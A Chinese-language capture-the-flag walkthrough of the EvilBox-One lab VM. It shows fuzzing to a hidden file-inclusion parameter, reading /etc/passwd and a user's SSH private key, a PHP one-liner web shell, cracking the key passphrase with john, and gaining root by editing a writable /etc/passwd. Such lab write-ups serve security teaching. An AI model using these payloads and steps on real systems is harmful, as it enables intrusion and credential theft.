第六周-EvilBox-one
一、靶机介绍
1.1、目标
root用户权限和两个flag
12、攻击手法:
主机发现
端口扫描
强制访问
参数爆破
PHP封装器
任意文件读取
SSH公钥登录
离线密码破解
系统权限漏洞利用
二、主机发现
也可以使用 nmap arp。
fping -gaq 10.0.2.0/24 |
-a 是显示可ping通的目标
-g 是指定开始和结束地址
-q 是不显示每个目标或每个ping的结果
具体介绍,查看下面这个链接
查看到目标主机IP为10.0.2.8
三、端口扫描
3.1 、端口发现
sudo namp -p- 10.0.2.8 |
只有22和80 端口开放
3.2、端口服务
sudo nmap -p22,80 -A 10.0.2.8 |
-A 启动Os检测,版本检测,脚本扫描和traceroute
http://10.0.2.8/ |
访问网页后没有找到任何可以利用的漏洞。
四、路径扫描
4.1、gobuster
gobuster 路径探测工具,不仅可以路径爆破,还可以做dns的信息探测,收集。基于go语言 |
下面有使用ferobuster扫描的对比,ferobuster扫描结果没有gobuser准确。
扫描结果如上,发现有robots.txt和/sectet两个路径
robots.txt 是指爬虫权限说明
http://10.0.2.8/robots.txt |
访问后发现什么都没有
访问robots.txt文件没有任何有用信息,于是对secrect路径进行扫描
gobuster dir -u http://10.0.2.8/secret -w /usr/share/seclists/Discovery/Web-Content/directory-list-1.0.txt -x txt,php,html,jsp |
发现存在evil.php 文件发,访问后发现是空白
4.2、ferobuster(可省略)
feroxbuster --url http://10.0.2.8 |
在gobuster扫描过程中,使用了ferobuster扫描进行了一次对比
相同 | 不同 | |
---|---|---|
gobuster | 都是路径扫描 | 需要手动指定扫描字典和需要扫描文件的后缀名,扫描结果更准确,速度慢 |
ferobuster | 默认字典路径,不用手动指定,相比而言速度交快 |
五、参数爆破
由于路径扫描后发现页面时空白,猜测是需要参数查询。
编辑一个小字典,用作参数值
vi 1.txt |
5.1、ffuf
ffuf也是基于go语言开发的,能适用于多种情况的模糊测试。
ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt:PARAM -w 1.txt:VAL -u http://10.0.2.8/secret/evil.php?PARAM=VAL -fs 0 |
-w是指定字典
-fs 0 排除返回页面为0的数据
详细介绍
扫描失败,没有发现任何有用信息。
换个思路使用模糊测试,利用返回页面进行扫描
ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -u http://10.0.2.8/secret/evil.php?FUZZ=../index.html -fs 0 |
因为前期目录扫描时,在上一层路径中存在 index.html文件,也可以用../../../../etc/passwd
FUZZ是模糊测试ls
得出参数是command
六、文件包含
确定靶机存在文件包含漏洞。尝试查看靶机的用户信息
http://10.0.2.8/secret/evil.php?command=../../../../../../etc/passwd |
发现可以成功查看
6.1、远程文件包含
对靶机尝试使用远程文件包含
$var=shell_exec($_GET['cmd']); echo $var |
在本地写一个一句话木马,尝试目标主机是否能够进行远程文件包含
开启apache服务
service apache2 start |
payload执行尝试
http://10.0.2.8/secret/evil.php?command=http://10.0.2.8/a.php?cmd=id |
发现结果是空,远程文件漏洞利用失败
6.2、PHP封装器
本地文件包含漏洞利用
通常遇到失败后,会尝试一php的封装器的功能,php作为一门语言,它包含很多其他协议和访问的方式,
file=
data://
ftp://
zip://
php://filter/convert.base64-encode/resource=evil.php 利用这种方法可以读取目标主机上的php文件,正常情况下使用浏览器使用php文件时,就会以php执行代码方式去处理php文件,所有我们无法以这种方式去读取php文件的源码内容,将其现转换成base64时,就可以。
可以尝试将目标服务器上的很多文件通过一些编码转换的方式读取出来,实现任意文件读取的效果
http://10.0.2.8/secret/evil.php?command=php://filter/convert.base64-encode/resource=evil.php |
利用这种方法可以读取目标主机上的php文件,正常情况下使用浏览器使用php文件时,就会以php执行代码方式去处理php文件,所有我们无法以这种方式去读取php文件的源码内容,将其现转换成base64时,就可以。
可以尝试将目标服务器上的很多文件通过一些编码转换的方式读取出来,实现任意文件读取的效果
读取后进行译码
根据解码内容确定存在文件包含漏洞,以及参数名
6.3、写入测试
同理使用base64编码,将我们想要写入的进行编码写入
echo 123|base64 |
http://10.0.2.8/secret/evil.php?command=php://filter/write=convert.base64-decode/resource=test.php&MTIz== |
将123编码的数据传输进行,通过write写入test.php 文件中,在通decode解码。
http://10.0.2.8/secret/test.php |
权限不够写入失败。
七、SSH公钥登录
7.1、查找可登录账户
http://10.0.2.8/secret/evil.php?command=../../../../etc/passwd |
发现可登录的账号
尝试登录获取一些可利用的漏洞
ssh mowreen@10.0.2.8 -v |
-v 是查看详细信息
7.2、公私密钥
http://10.0.2.8/secret/evil.php?command=../../../../home/mowree/.ssh/authorized_keys |
原理:
客户端生成公钥和私钥,在 /home/用户名/.ssh/ .ssh/id_rsa(密钥) ,将公钥上传服务器
服务端保存在:/用户名/.ssh/authorized_keys(保存着公钥) ,用户名是什么就只能用这个用户名登录
.ssh目录的权限必须是700
.ssh/authorized_keys文件权限必须是600
http://10.0.2.8/secret/evil.php?command=../../../../home/mowree/.ssh/id_rsa |
7.3、密钥下载及授权
vi id_rsa |
将密钥保存到攻击机上。注意保存格式,建议使用wegt命令下载下来,名字较长可以使用重命名一下,防止格式出现问题。
保存后授权一下。
chmod 600 id_rsa |
ssh mowreen@10.0.2.8 -i id_rsa |
发现需要输入私钥密码
八、离线密码破解
8.1、字典准备
cp /usr/share/wordlists/rockyou.txt.gz . # 字典 |
8.2、密码破解
john hash --wordlist=rockyou.txt |
运行破解
获得私钥为unicorn
使用ssh再次链接
在连接时,死活连不上。最后重装了靶机才解决,如果碰到相同的问题,可以参考一下这个解决办法。
sudo ssh mowree@10.0.2.9 -i id_rsa |
cat user.txt |
查看第一个flag。
九、系统权限漏洞利用
sudo -l sudo提权没有可利用的 |
-4000 是找寻使用suid的。2>/dev/null 是将报错消除,find寻找suid提权也没有可以利用的
find / -writable 2>/dev/null | grep -v /proc |
find寻找可以改写的文件,过滤掉 /proc
openssl passwd -1 |
生成一个新的密码。我在此处填的是123
将上面加密后的密码复制一下,接下来复制到passwd文本中
vi /etc/passwd |
在编辑页面时,使用Delete键进行删除。然后在合适位置直接粘贴密钥。
密钥放置处如下图。提前把x删掉
在文本中x对应的时密码的位置,x代表占位符。实际存放密码的位置在其他地方。但是如果将此处密码更改,则原本存放的密码即失效,加入的密码将生效。
拿到root账号以及第二个flag。打靶结束
十、总结
个人感觉,这个靶机思路虽然比较常规,但是使用的工具比较少见。